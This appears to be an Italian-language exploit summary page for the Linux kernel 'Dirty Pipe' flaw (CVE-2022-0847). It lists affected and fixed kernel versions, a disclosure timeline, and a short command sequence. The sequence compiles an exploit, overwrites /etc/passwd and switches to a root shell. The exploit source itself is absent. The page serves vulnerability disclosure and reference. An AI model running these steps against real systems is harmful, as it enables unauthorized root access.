CVE-2022-0847

Informazioni

Exploit Title: Local Privilege Escalation in Linux kernel (CVE-2022-0847)
Date: 03/07/2022
Exploit Author: Max Kellermann <[email protected]>
Tested on: ubuntu 20.04.1 LTS
Affect product:Linux kernel 5.8 or later
Fixed Product:Linux kernel 5.16.11, 5.15.25, 5.10.102
CVE ID: CVE-2022-0847

Come sfruttare

Ambiente di test：

Escalation dei privilegi locali

cp /etc/passwd /tmp/passwd.bak
gcc exp.c -o exp
./exp /etc/passwd 1 ootz:
su rootz
id

Riferimenti

https://dirtypipe.cm4all.com/

Cronologia

• 2021-04-29: primo ticket di supporto riguardante il danneggiamento dei file
• 2022-02-19: il problema di danneggiamento dei file è stato identificato come un bug del kernel Linux, che si è rivelato essere una vulnerabilità sfruttabile
• 2022-02-20: segnalazione del bug, exploit e patch inviati al Linux kernel security team
• 2022-02-21: bug riprodotto su Google Pixel 6; segnalazione inviata al Android Security Team
• 2022-02-21: patch inviata a LKML (senza dettagli della vulnerabilità) come suggerito da Linus Torvalds, Willy Tarreau e Al Viro
• 2022-02-23: rilasci stabili del Linux kernel con la mia correzione (5.16.11, 5.15.25, 5.10.102)
• 2022-02-24: Google integra la mia correzione nel kernel Android
• 2022-02-28: notificata la mailing list linux-distros
• 2022-03-07: divulgazione pubblica